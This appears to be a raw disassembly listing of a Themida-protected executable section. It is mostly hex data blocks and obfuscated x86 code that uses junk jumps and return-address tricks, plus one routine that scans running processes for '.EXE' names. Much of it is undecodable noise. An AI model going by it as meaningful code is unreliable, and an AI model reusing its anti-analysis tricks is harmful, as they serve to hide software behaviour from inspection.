		dd 0E768CAD3h, 50F64D14h, 6820F52h, 50000000h, 5A310F52h
		dd 0F310F58h, 1789h, 12E900h, 0B7070000h, 2767835Dh, 0E72C2AB2h
		dd 0B8A8BDB7h, 243FAE3h, 3481585Ah, 0D1C8B124h,	0E960F961h
		dd 0Fh,	0AF4A1B42h, 0FEBD05CBh,	28CC7F33h, 609FA65Fh, 10E8F8h
		dd 80700000h, 0F9347965h, 7B893C76h, 7833F1ACh,	6158C5EDh
		dd 0F1B5FF61h, 0E9061217h, 5, 95F1B61Fh, 48858DC2h, 0F06123Bh
		dd 0E86h, 820F6000h, 0
; ---------------------------------------------------------------------------
		ja	$+6
		popa
		call	eax
		clc
		pusha
		jmp	loc_5D52CD
; ---------------------------------------------------------------------------
		dd 0A8A871Ch, 0B04A92E0h, 0C1C350A0h
; ---------------------------------------------------------------------------
		dec	ebp


loc_5D52CD:				; CODE XREF: Themida_:005D52BBj
		adc	bx, 47DFh
		popa
		mov	[ebp+61222D5h],	eax
		pusha
		js	loc_5D52E6
		jnz	$+6


loc_5D52E6:				; CODE XREF: Themida_:005D52DAj
		jmp	loc_5D52F9
; ---------------------------------------------------------------------------
		mov	dh, 7Bh
		mov	bl, 0B8h
		les	eax, [esi]
		movsb
		xor	[ecx+62h], eax
		xor	esp, [ebx]
		js	short loc_5D5376


loc_5D52F9:				; CODE XREF: Themida_:loc_5D52E6j
		popa
		jmp	loc_5D546A
; ---------------------------------------------------------------------------
		stc
		push	eax
		jmp	loc_5D530E
; ---------------------------------------------------------------------------
		dw 2C12h
		dd 383432EFh
		db 9Dh,	0C6h
; ---------------------------------------------------------------------------


loc_5D530E:				; CODE XREF: Themida_:005D5301j
		mov	[esp], ebp
		jmp	loc_5D5320
; ---------------------------------------------------------------------------
		dw 534h
		dd 0DDE8E080h, 0CAEE4C6Fh
; ---------------------------------------------------------------------------


loc_5D5320:				; CODE XREF: Themida_:005D5311j
		mov	ebp, esp
		cmc
		add	esp, 0FFFFFFFCh
		push	0
		push	ecx
		call	sub_5D5331
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5331	proc near		; CODE XREF: Themida_:005D5329p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5D5331	endp

; ---------------------------------------------------------------------------
		jmp	ebx
; ---------------------------------------------------------------------------
		jmp	loc_5D535C
; ---------------------------------------------------------------------------
		dd 0A9F0D8D3h, 1200705Bh, 4C089F7Bh, 0A46C9931h, 460AE877h
; ---------------------------------------------------------------------------


loc_5D535C:				; CODE XREF: Themida_:005D5343j
		jmp	loc_5D5374
; ---------------------------------------------------------------------------
		db 0B3h, 3Dh, 0BAh
		dd 7606F605h, 0E29622F3h, 0EDBA55D1h, 57F3213Fh
; ---------------------------------------------------------------------------


loc_5D5374:				; CODE XREF: Themida_:loc_5D535Cj
		pusha
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_5D5376:				; CODE XREF: Themida_:005D52F7j
		or	eax, 66000000h
; ---------------------------------------------------------------------------
		db 0DBh
		dd 6E25D64h, 0CD0E30BAh, 0E845B7FFh, 0
; ---------------------------------------------------------------------------
		pop	edx
		sub	edx, 61798B2h
		mov	dword ptr [ebp-4], 0
		cmp	dword ptr [edx+6121FC9h], 1
		jz	loc_5D543F
		push	edx
		push	0
		push	0Fh
		call	dword ptr [edx+6121DE5h]
		pop	edx
		mov	[edx+61792CCh],	eax
		lea	ebx, [edx+61792D0h]
		push	edx
		mov	dword ptr [ebx], 128h
		push	ebx
		push	eax
		call	dword ptr [edx+612145Dh]
		pop	edx


loc_5D53CF:				; CODE XREF: Themida_:005D53F9j
					; Themida_:005D542Dj
		push	edx
		lea	ebx, [edx+61792D0h]
		push	ebx
		push	dword ptr [edx+61792CCh]
		call	dword ptr [edx+61222D5h]
		pop	edx
		or	eax, eax
		jz	short loc_5D5438
		lea	ebx, [edx+61792D0h]
		lea	edi, [ebx+24h]
		xor	ecx, ecx


loc_5D53F3:				; CODE XREF: Themida_:005D5403j
		cmp	ecx, 104h
		jz	short loc_5D53CF
		inc	ecx
		cmp	dword ptr [ecx+edi], 4558452Eh
		jnz	short loc_5D53F3
		lea	esi, [ecx+edi]
		sub	esi, [ebp+0Ch]
		lea	edi, [edx+6120CBDh]
		mov	ecx, [ebp+0Ch]
		rep movsb
		xor	al, al
		stosb
		push	edx
		push	dword ptr [ebp+8]
		lea	eax, [edx+6120CBDh]
		push	eax
		call	dword ptr [edx+6122CB5h]
		pop	edx
		or	eax, eax
		jnz	short loc_5D53CF
		mov	dword ptr [ebp-4], 1
		jmp	short loc_5D543F
; ---------------------------------------------------------------------------


loc_5D5438:				; CODE XREF: Themida_:005D53E6j
		mov	dword ptr [ebp-4], 0


loc_5D543F:				; CODE XREF: Themida_:005D53A1j
					; Themida_:005D5436j
		popa
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5D5452
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5452	proc near		; CODE XREF: Themida_:005D544Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D5452	endp

; ---------------------------------------------------------------------------
		dw 0B3EBh
		dd 0CEF88C28h
; ---------------------------------------------------------------------------
		push	ebx
		clc


loc_5D546A:				; CODE XREF: Themida_:005D4EE9j
					; Themida_:005D52FAj
		mov	edx, edx
		rcr	byte ptr ds:0B1681E8Eh,	1
		stosb
		sub	bh, [edi-5D0C1793h] ; CODE XREF: Themida_:005D5479j
		jg	short near ptr loc_5D5473+4
		pop	es
		cmp	dword ptr [ebx], 0FFFFFF80h
		jnp	short loc_5D5499
		jle	short loc_5D54D4
		std
		cmpsd
		mov	edx, [edx]
		or	byte ptr [eax-75h], 6Ch
		xor	ch, ah
; ---------------------------------------------------------------------------
		db 0FFh, 0FCh, 0D0h
		dd 1CF80BEEh
		db 4Dh,	86h
word_5D5496	dw 3CB8h		; CODE XREF: Themida_:005D54BCj
		db 75h
; ---------------------------------------------------------------------------


loc_5D5499:				; CODE XREF: Themida_:005D547Fj
		cmp	eax, 64363D50h
		push	ecx
		xor	bl, cl
		push	ecx
		push	ecx
		bound	eax, [eax+edi]
		push	ecx
		xor	dh, [esi+1Bh]
		or	ecx, esi
		arpl	[edx-4566E9EBh], si
		adc	eax, 5122CA16h
		xor	ah, [edi+7Bh]
		add	ecx, esi
		jl	short near ptr word_5D5496
		sar	bh, cl
		jnp	short loc_5D54D6
		rcl	eax, 1
		xchg	eax, ebx
		lea	ebp, [edi+5138B4DBh]
		xor	dl, [ecx+3Bh]
		add	bl, dl
		sahf
		cmp	edx, [ecx+32h]


loc_5D54D4:				; CODE XREF: Themida_:005D5481j
		out	dx, al
		pusha


loc_5D54D6:				; CODE XREF: Themida_:005D54C0j
		xchg	eax, edx
		imul	ebp, esi, 32367567h
		jg	short loc_5D5554
		les	edi, ss:[ebx]
		push	ecx
		xor	ch, [edi+1E599268h]
		aam	8Fh
		mov	bl, 1
		cmp	[ecx+edi*2+25EB5D77h], dh ; CODE XREF: Themida_:005D54F9j
		adc	eax, 0A4B3375Bh
		jecxz	short near ptr loc_5D54ED+4
		rcr	dword ptr fs:[edx+0Bh],	cl
		push	ebx
		pop	edx
		xchg	dh, [ebx+edx]
; ---------------------------------------------------------------------------
		dd 3D513DFEh, 32510BF2h, 8EE5D3Bh, 3129D225h, 323B3BCEh
		dd 3252D332h, 6F713BB3h, 5ED8661Ah, 76D03FC8h, 324C3F52h
		dd 67143B3Bh, 8390845Eh, 0A201CCEBh, 83BA465Ch,	80D4B6C0h
		dd 62572C40h, 53315BBEh, 35E6926h, 6C306361h, 54753F14h
; ---------------------------------------------------------------------------


loc_5D5554:				; CODE XREF: Themida_:005D54DDj
		dec	edi
		fst	qword ptr [edi-3A411537h]
		stosd
		movsb
		cmp	eax, 6B3880C1h
		mov	ecx, 513BEC3Ch
		adc	al, [edi+40085864h]
		sbb	al, 0D7h
		test	eax, 0EB147CE1h
		jg	short loc_5D55D3
; ---------------------------------------------------------------------------
		dw 0FDDAh
		dd 87A8AB38h, 0EFC4C4F5h, 585729C6h, 31B96DECh,	12513B76h
		dd 0BB0FF865h, 0B3551FE9h, 29551F8Ah, 74513B67h, 284FF8E5h
		dd 0F85A577Fh, 35B9E9A1h, 0B513B76h, 0CC891A39h, 0C3D0B7BDh
		dd 753C6C1Fh, 3BD93438h, 3D513BB3h, 32513858h, 0E3E634ECh
		dd 0B937FBFDh, 33ECB8F4h
; ---------------------------------------------------------------------------
		mov	dl, 29h
		push	edi


loc_5D55D3:				; CODE XREF: Themida_:005D5574j
		xor	bh, [ebx+2E8FD232h]
		sbb	al, [ebx+34h]
		mov	bl, 4Fh
		dec	eax
		bound	ecx, [edx-69756E50h]
		aas
		push	ecx
		xor	bh, bh
		mov	esi, 3D293964h
		fsubr	qword ptr [edi+34459694h]
		xor	eax, ebp
		or	ch, [edx-1Ch]
		xchg	bl, [eax]
		adc	esp, [ecx-31B9AEC3h]
		imul	eax, [edx], -76h
		xchg	eax, esi
		aas
		push	ecx
		xor	bh, bh
		mov	esi, 3D293964h
		fsubr	qword ptr [edi+34459265h]
		xor	eax, ebp
		or	ch, [edx-72h]
		das
		push	ecx
		xor	dh, [ebx+69B4ABC7h]
		pop	ss
		aam	8Bh
		inc	eax
		xchg	eax, esp
		or	al, 0F9h
		movsd
; ---------------------------------------------------------------------------
		db 8Fh,	3Bh, 87h
		dd 8B2CEAE1h, 3243D2E9h, 615E3BCEh, 0F314C44Ch,	4B40204Ch
		dd 3C2353E1h, 0B2DC63D3h, 6DA0B027h, 3BB8FBB0h,	0EA513B9Dh
		dd 5890EDC5h, 0EB9F6557h, 0ABCDA63Eh, 323B3DCEh, 3252D3BEh
		dd 68713B76h, 66D861F8h, 76D03FB9h, 32473FEAh, 60133B67h
		dd 0D7685470h, 20B682BFh, 46C7BE61h, 0CDA83D61h, 3256D2EBh
		dd 0B633B9Dh, 0AA68338Ch, 3D9130A9h, 32519D37h,	615151D9h
		dd 32513804h, 0F10A1B76h, 160DB260h, 1615BA99h,	325127CAh
		dd 0F1027867h, 698EAEDFh, 91AAD3C7h, 3DA18E9Ah,	325138F3h
		dd 3E9BBB3Bh, 7C1AA610h, 0CB313DDCh, 8A30CAECh,	32513BB0h
		dd 0DA073BB3h, 32513BEFh, 6C926556h, 36754FB2h,	36757F1Ch
		dd 32513BD7h, 0F7926D21h, 6350E286h, 0D1AEC311h, 0DA023B86h
		dd 32513B75h, 6992601Bh, 36756714h, 36757F4Fh, 32513B7Dh
		dd 469268F0h, 0FF3F0C70h, 35B97833h, 57513B76h,	8CCC9B28h
		dd 38B93FA9h, 3F513BCEh, 8795464Dh, 80B24B27h, 680E6B17h
		dd 0BFA1B0B5h, 25C89FEBh, 3241D33Dh, 0E6AA3B9Dh, 0EE4E3DCFh
		dd 0BC279021h, 6D1CE21Ah, 8C379E2Ch, 0BF080759h, 2525ADF3h
		dd 6051513Dh, 32513875h, 0F10B1BCEh, 1605B23Dh,	1615BAB7h
		dd 325127DDh, 0F10379ECh, 9762B7C7h, 1FBFA268h,	4897BABCh
		dd 3D0CF3F2h, 32513EE7h, 0C5D05DB3h, 0E2AE6D3Bh, 3252B6E3h
		dd 0F7D13B76h, 3D91301Fh, 32514819h, 655151CEh,	3251388Fh
		dd 0F10E1BB3h, 162DB286h, 1615BAE8h, 32512D72h,	0F1067C3Bh
		dd 63815F2Dh, 0BFA2B194h, 201F70FAh, 645151B5h,	32513831h
		dd 0F10F1BECh, 1625B228h, 1615BA3Fh, 32512399h,	0F1077DCEh
		dd 2F92F7EFh, 33EF5D2Dh, 32508345h, 0D1AE3BECh,	0DA023B1Ch
		dd 32513B38h, 699260BDh, 36756747h, 36757FE6h, 32513BABh
		dd 2592689Ah, 7D11B00Fh, 0ABF8A6FBh, 323B3D2Ch,	3252D3CAh
		dd 6D713BCEh, 4ED864A4h, 76D03F97h, 32493FFDh, 65163BECh
		dd 0B30FB6B5h, 0B7DC4A81h, 34464F0Bh, 0EE9EBAA8h, 0C1EE3466h
		dd 0F7D1EB4Ch, 3D9130EAh, 32511E68h, 0FCDA5D76h, 0AFDCC9B0h
		dd 344375D6h, 33D93499h, 0CB513B67h, 325283EAh,	8C373BD9h
		dd 9BE0994Dh, 8B37D889h, 0BF12ABEAh, 25C8A920h,	0E3DCB6C8h
		dd 8A572CFAh, 0B81A67CEh, 3204BEEAh, 0FD7A3DFEh, 0C89FEBBFh
		dd 41D33D25h, 0AA3B9D32h, 4E3DCFE6h, 279021EEh,	1CE21ABCh
		dd 839E2C6Dh, 0A4F305E9h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 170424h, 51410000h, 519B21C3h, 0DE816602h
		dd 0C38BCFC7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0AAC35343h, 8CB62088h, 8BFB8BAEh, 0EE8C0h, 89910000h
		dd 77A38A66h, 856DBB21h, 0DAD1E1D0h, 0CE9h, 19812F00h
		dd 0D4437422h, 0EAA99109h, 860F5927h, 0
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6122F01h], 0
		jnz	short loc_5D5952
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5D596B


loc_5D5952:				; CODE XREF: Themida_:005D5947j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 47Ah
		mov	[ebp+61202B9h],	eax
		lea	ebx, [ebp+614AD70h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5D596B:				; CODE XREF: Themida_:005D5950j
		cmp	dword ptr [ebp+6122149h], 0
		jz	short loc_5D598B
		push	eax
		push	ebx
		mov	eax, 47Ah
		mov	[ebp+61202B9h],	eax
		lea	ebx, [ebp+614AA11h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5D598B:				; CODE XREF: Themida_:005D5972j
		mov	ecx, edx
		xor	dl, 14h
		push	0
		push	edx
		call	sub_5D599B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D599B	proc near		; CODE XREF: Themida_:005D5993p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5D599B	endp

; ---------------------------------------------------------------------------
		mov	esp, 8B506FD1h
		ror	byte ptr [ebp+179FCB8Dh], 6
		push	0
		push	esi
		call	sub_5D59C2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D59C2	proc near		; CODE XREF: Themida_:005D59BAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D59C2	endp

; ---------------------------------------------------------------------------
		dw 7D4Ah
; ---------------------------------------------------------------------------
		movsb
		db	26h
		nop
		xor	[ebp-746E4C7Eh], edx
		mov	byte ptr [ecx+122DCD8Dh], 6
		push	0
		push	ecx
		call	sub_5D59EF
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D59EF	proc near		; CODE XREF: Themida_:005D59E7p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5D59EF	endp

; ---------------------------------------------------------------------------
		db 19h
; ---------------------------------------------------------------------------
		pop	esp
		mov	dword ptr [ebp+61231BDh], 6358h
		call	near ptr loc_5D5A11+6
		stosd


loc_5D5A11:				; CODE XREF: Themida_:005D5A0Bp
		adc	ah, [ebp+ecx*4+51EDBE14h]
		sbb	ebx, 2F4DA241h
		pop	eax
		pop	edx
		mov	dword ptr [ebp+6120011h], 0
		push	0
		push	ebx
		call	sub_5D5A35
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A35	proc near		; CODE XREF: Themida_:005D5A2Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5D5A35	endp

; ---------------------------------------------------------------------------
		push	0FFFFFFDCh
		and	esi, [ebx-50345640h]
		add	al, [edi]
		push	dword ptr [ebp+6122D79h]
		jmp	loc_5D5A62
; ---------------------------------------------------------------------------
		dw 789Ah
		dd 0F5DA116Ah
; ---------------------------------------------------------------------------
		mov	dl, 40h


loc_5D5A62:				; CODE XREF: Themida_:005D5A55j
		call	dword ptr [ebp+6122781h]
		push	0
		push	ecx
		call	sub_5D5A73
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5A73	proc near		; CODE XREF: Themida_:005D5A6Bp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5D5A73	endp

; ---------------------------------------------------------------------------
		db 5Fh
		dd 0DE853h, 40F40000h, 993B2CDEh, 60319586h, 13960A0h
		dd 120ED9BDh, 6A5806h, 29D195FFh, 0C08B0612h, 7B851FEBh
		dd 6FBDFCB8h, 0F33985ACh, 0BB47026Fh, 4F8C2D1Bh, 9FC96090h
		dd 9CF318F6h, 82F08BB3h, 0BE8C0h, 4ACA0000h, 0BD49E1D8h
		dd 0C2FFB29Ah, 1B58B6Ch, 5806121Dh, 3890Fh, 0BF0F0000h
		dd 0E6C081F6h, 8B000069h, 12090D9Dh, 0BA06h, 0C7800000h
		dd 234FF4Bh, 59F78B66h,	11B99D23h, 0C1810612h, 767A3A3Ch
		dd 2871B50Bh, 0C1810612h, 556AFD90h, 0D103EF81h, 0E98160B6h
		dd 4F021EF7h, 3880Fh, 0E3800000h, 100C89B8h, 108B0Fh, 0BE90000h
		dd 1F000000h, 0BF00F3BCh, 0B177B368h, 83F8AA03h, 0B52B03EAh
		dd 6122ABDh, 19B58B4Ah,	8106122Eh, 0FF96ECFAh, 28850FFFh
		dd 0E8000000h, 7, 6F05EDB8h, 66490484h,	5FA668BBh, 27E9h
		dd 0A900AD00h, 50E6710Bh, 9626C269h, 0D05D324Eh, 89712A29h
		dd 122571B5h, 0FF63E906h, 0C6B8FFFFh, 0F7A205AEh, 995AB2F7h
		dd 0A18E8D8Dh, 8D890617h, 6122DCDh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 0D8C35646h,	62939133h, 0BF0F789Dh
		dd 459D8BC0h, 0C7061226h, 1231BD85h, 69A006h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8A0FB633h, 3, 0C726F280h, 12001185h,	6, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 3FB884F3h, 9BEDE42h,	120ED99Dh, 2D958906h, 0FF061220h
		dd 1225B1B5h, 6D958B06h, 0FF061203h, 12278195h,	68B0F06h
		dd 89000000h, 121E45BDh, 0FF006A06h, 1229D195h,	0EBC08B06h
		dd 0D0196F0Eh, 4452B355h, 0B20FE6A6h, 0E9259342h, 0Fh
		dd 64B37969h, 7C809E01h, 0
		dd 0E9000000h, 0E45h, 17A35068h, 0DF3BE906h, 6F68FFFAh
		dd 0E90617A4h, 0FFFADF31h, 17A5E868h, 0DF27E906h, 3168FFFAh
		dd 0E90617A7h, 0FFFADF1Dh, 17A92368h, 0DF13E906h, 6C68FFFAh
		dd 0E90617ABh, 0FFFADF09h, 17AD0968h, 0DEFFE906h, 5968FFFAh
		dd 0E90617AEh, 0FFFADEF5h, 99E62968h, 36838C00h, 0D522ED9Dh
		dd 6FBC533Ch, 0B58B7D6h, 39549A1Bh, 9BF089D6h, 28E2774h
		dd 6727C00Dh, 32815BA8h, 0F7015D2Ah, 6B411E4Dh,	82019314h
		dd 7F4935F5h, 5CB3DBECh, 0DF305E27h, 452C3592h,	7C107E86h
		dd 767749F2h, 0F497F817h, 547BB01Bh, 7C2E7AD3h,	4FE25CD2h
		dd 0F1629CEFh, 0A63B574Dh, 0A46B24DDh, 0E12CA411h, 0D38C24AEh
		dd 4F2257B8h, 3CBABCh, 12CB0000h, 0D402957Ah, 1C0A5AEh
		dd 96CB4448h, 0B9C130C3h, 49F17F0Dh, 20386D78h,	4DF1806Bh
		dd 1E756C88h, 24AEDFA6h, 7E3D4D06h, 0F18D1176h,	0FC67724Dh
		dd 891CF39Bh, 0D287h, 5B14D900h, 3748DB34h, 0BA83B857h
		dd 3E073CD3h, 0E900BF50h, 0DF5FA6E1h, 37CAD547h, 18722B52h
		dd 1AF596F7h, 0F7187687h, 5ABCC2AAh, 6C2247DFh,	642BE4A3h
		dd 821B18ABh, 41CE030Ch, 828A4938h, 49F16558h, 0F8EF3C47h
		dd 5C44B3Fh, 0F16E8AFDh, 5BEEF94Dh, 0D9987D86h,	0E4A3ABC2h
		dd 974DF16Eh, 0ED99F98Ch, 98500411h, 1563139h, 1A2547E6h
		dd 5637F0AFh, 0BAD36CB9h, 0CA454801h, 7512C295h, 647E601h
		dd 701190FBh, 2EDB154h,	0BF6965Dh, 6F220000h, 0D2BA53A0h
		dd 3357F03Dh, 99F68FDCh, 0FD902976h, 0E0D5C512h, 43907F0Eh
		dd 0E12EE1AAh, 7AC74848h, 1562ADE1h, 0A3E4EC3Bh, 0E04DF702h
		dd 1B722D03h, 800EA7F4h, 6527F299h, 37A275AAh, 0AEC97FCCh
		dd 0F901C0A5h, 49F17ECDh, 0D9365811h, 34F3FE46h, 69FC137Bh
		dd 811F6C84h, 0EF9B4DF1h, 7AAF602Ah, 3E073CA7h,	0C38CC14Eh
		dd 401348C7h, 657A67ABh, 0C9C0213Dh, 24AEDFC9h,	0F5929AB1h
		dd 864DF18Ch, 0D4E6E87Bh, 38000000h, 0BEF31C72h, 427798F5h
		dd 0DF5A542Ah, 2BE4AA47h, 0C64945DEh, 0D03F4E07h, 1B6C749Bh
		dd 6847DF64h, 7A5FF25Dh, 0C28BD253h, 0D10BE36Bh, 1D60693Eh
		dd 0E0117215h, 9B061147h, 0A66923DCh, 523D9E71h, 0B3BB2ABDh
		dd 49F21327h, 13CC8B96h, 768EDA77h, 0F099C468h,	0FDD45C85h
		dd 0B85FFC22h, 0C2CB2825h, 870C14D3h, 6C500407h, 0A4E9A261h
		dd 0E22D5E17h, 5D2ADAADh, 1E47E60Eh, 36A16E1Dh,	37530CCBh
		dd 0AF4845D8h, 0BB543BDEh, 592ED150h, 5F04EDB1h, 0AD798h
		dd 818E0300h, 1EF19B34h, 0BD5238D1h, 57B8D770h,	0F31C710Ah
		dd 0EFFFB6A6h, 8B24719Eh, 29C20F00h, 0C25BA867h, 1CF643CCh
		dd 3C2C5CDh, 0E4C14DF7h, 355B140Eh, 573647DAh, 0BCD26BB8h
		dd 72500653h, 0F5BEF31Ch, 0FEB77699h, 0F2EF828Dh, 0E6A58C95h
		dd 967916CFh, 9BFB8E61h, 49F16CCBh, 0A2BAEFFAh,	4DF16DECh
		dd 7913CC0Bh, 2AB70396h, 0AEEC6363h, 711B824h, 0AE0A0000h
		dd 4801C0A5h, 0C396CB44h, 91B9C130h, 0EC49F17Dh, 0F794ACE1h
		dd 0C34DF17Ch, 0D03F51C8h, 24673065h, 0E7996F5h, 0B22F43D9h
		dd 83B85737h, 11D45B0h,	0FF29A9E0h, 0D4FE24AEh,	50000006h
		dd 1C0A5AEh, 0F18775F9h, 8F9049h, 7E11DA0Fh, 1E895C91h
		dd 9A195CF5h, 3BA6F40Eh, 2A5D657Ch, 594DF1FAh, 0AFD6BB4Eh
		dd 0F9F79098h, 79844DF1h, 0FA0586E6h, 0DBB54DF1h, 5836FF34h
		dd 535B82B7h, 4DF1FA34h, 0FA0E3C47h, 0AECAF2E7h, 78645C33h
		dd 7CB124AEh, 3000006h,	0D4DDAE9Bh, 28262EEDh, 5F49F175h
		dd 43230354h, 0E5BA0496h, 308BFFDCh, 0E69B5F28h, 0A6111CD1h
		dd 0E4657C3Bh, 0E62C02CAh, 88E110B3h, 0F2CBAAD3h, 65222AE9h
		dd 16D1E6F8h, 8618780Bh, 61D3F910h, 8B942156h, 0E4DFE7A6h
		dd 0FD6071Eh, 28C4504h,	6727C00Dh, 0FF34DBB2h, 14B7D0D8h
		dd 0B9C4D1E7h, 0B964E34Eh, 9967B043h, 95E2DF4h,	78A0000h
		dd 6A22BB08h, 0CBBF58A5h, 315EF744h, 95F891DEh,	783D2D7Ah
		dd 0ABF81776h, 49967912h, 0E22FE0B0h, 7DCA4549h, 3B4C54A3h
		dd 484DF705h, 9314956Bh, 0FFAC964Ah, 1122B531h,	0D05D927Dh
		dd 131BDAC7h, 49F5D712h, 45CAC17Ah, 62AA3D10h, 0ABE02F61h
		dd 0F863ACE2h, 8358408Dh, 974DF6D9h, 0EE116F9h,	0E9100DE5h
		dd 85F00DC4h, 0B51B45C6h, 15169FDBh, 47000F82h,	2435C847h
		dd 2DE6A56Ah, 0A679AE61h, 0AFB91613h, 0C4FB03C2h, 0F74DF71Ch
		dd 0A0EEB7ECh, 0AA2B226Fh, 0EA6F850h, 33DCB0BFh, 0E6D535C8h
		dd 964DF6C4h, 0C510777Fh, 68734DF6h, 4DCCC4D5h,	1562CD42h
		dd 262B651Eh, 745099A6h, 42D5405Ch, 7DB25D31h, 0F6532665h
		dd 0C51C604Dh, 987713CCh, 0B79AF405h, 0A978D57Eh, 0E1A00BE6h
		dd 0ECC5C2CAh, 0ABB641C7h, 0C821B18h, 0EEA7CE03h, 80E0739Ch
		dd 41C7FD0Bh, 8208C1D0h, 0F285588Dh, 0DEB03BA6h, 34EDE431h
		dd 1322B55Ah, 121h, 6A1D253Ch, 1941C7FCh, 724D7B0Eh, 818EFD1Ch
		dd 7818E116h, 3D4A6297h, 7547DF60h, 858A0019h, 0DD127D50h
		dd 9B5A4750h, 0F4FF9293h, 97162149h, 0EBA0561Ch, 15EAB156h
		dd 41000008h, 0D972BF50h, 760F5CB3h, 15AEFB14h,	0AF48957Ah
		dd 0F4E431DEh, 0AF602DC1h, 4DC2C962h, 0E6296700h, 818E0099h
		dd 30B5A34h, 4DF70684h,	72441AF7h, 7C93FD1Ch, 699E711Bh
		dd 556C2B96h, 0DF603A4Dh, 0AB3E4947h, 0A4E69FC6h, 8A850A6Bh
		dd 72A7E6F7h, 0F6BFF41Bh, 72457A95h, 0B64F9C07h, 0F57635DAh
		dd 0F4AC9ACh, 1512A537h, 0B0FD127Ch, 0DA997617h, 27EACF59h
		dd 39CCE1E8h, 90AC2D54h, 0FE5F66C1h, 48EF901h, 0E2ED47E0h
		dd 0BAD3E477h, 0ADDD9655h, 0BEACF62h, 1A315A87h, 0E0047512h
		dd 68FB0647h, 8CD93657h, 0BC5B3F97h, 7EC22h, 743E0000h
		dd 0ACh, 0F31C72DEh, 6FE5A6BEh,	0E7F647DFh, 1BAE612Eh
		dd 0B7D712CFh, 1E720B58h, 0EAA4BCF1h, 0DE47DF6Fh, 0A7BEC71Ah
		dd 0DF6FE89Fh, 0FD909B47h, 1E6BA4ECh, 0FB1E7268h, 52117C93h
		dd 82BA3CD1h, 0FCCF040Bh, 0A57D19D3h, 20F328E7h, 163D22B5h
		dd 8290F7FFh, 0E8F347DFh, 0D3080787h, 345C6D00h, 0B3DDA6DBh
		dd 0B4E92666h, 784176E1h, 1C6FB14h, 0D84F944Dh,	4B048D54h
		dd 0C699CE41h, 0A16E2233h, 8BC66C54h, 1A6047DFh, 29E6A473h
		dd 7F821F4h, 8542AD6Ch,	22BCF00Ch, 32DDB36Ch, 95972AFDh
		dd 0FFFFFE7Bh, 36974E7h, 0E49D0000h, 0A6D467A8h, 90FD1C72h
		dd 0C774A7Fh, 5FFCBFD7h, 2EE247DFh, 0B95638B3h,	0C34C41FAh
		dd 2B28BB8Eh, 5413FC92h, 0E51AF59Bh, 7F447754h,	0C02B5B89h
		dd 0A021482Dh, 1DEDEC09h, 0A4049755h, 47E05B17h, 50BFCC85h
		dd 0A4B5481Bh, 0BEC9D1EAh, 0BD47E05Ah, 851247B2h, 1DD6957Ch
		dd 95689D72h, 0C37C9302h, 54B447C8h, 49F5FAD1h,	21F94ECFh
		dd 28285F67h, 505B4DF7h, 0A92D4D27h, 85D65E20h,	9BC42F00h
		dd 731203E4h, 66AE4148h, 18DDDC5Bh, 50F5EBA0h, 62389h
		dd 0CD424F00h, 6AA5E780h, 906841Dh, 0A36C23BCh,	3FD0BD56h
		dd 3BB302F2h, 0D770BD52h, 750E5BB4h, 0EA7F41Bh,	68428F80h
		dd 8761119h, 28054DF7h,	0F31C7252h, 7798F5BEh, 12FD912Ah
		dd 7B15CEC5h, 0F98C5F94h, 356AA5E8h, 0B9EE216Ch, 19219AF0h
		dd 47DF5F6Eh, 6297020Dh, 0E71CF399h, 46A36C1Eh,	138A4F92h
		dd 0F697528Fh, 72A76823h, 0C22DE2A9h, 0BD150A57h, 0FD22BCE2h
		dd 34C74844h, 25232h, 0A4AE8400h, 0AA638ABFh, 3C9C2FE0h
		dd 412C5C65h
		dd 0D90E0189h, 0D18010h, 460CF67Ch, 29083DA8h, 7FA73CA5h
		dd 4C057E63h, 12757D3Eh, 7146CE4Ch, 0FB68FB66h,	0DC520E9Bh
		dd 21650h, 0A4AEA200h, 8FF800BFh, 0C547DF5Fh, 3CB6BA44h
		dd 0B877C73Dh, 0DFCCD7B0h, 699A447h, 667EB3BEh,	412CCA3Bh
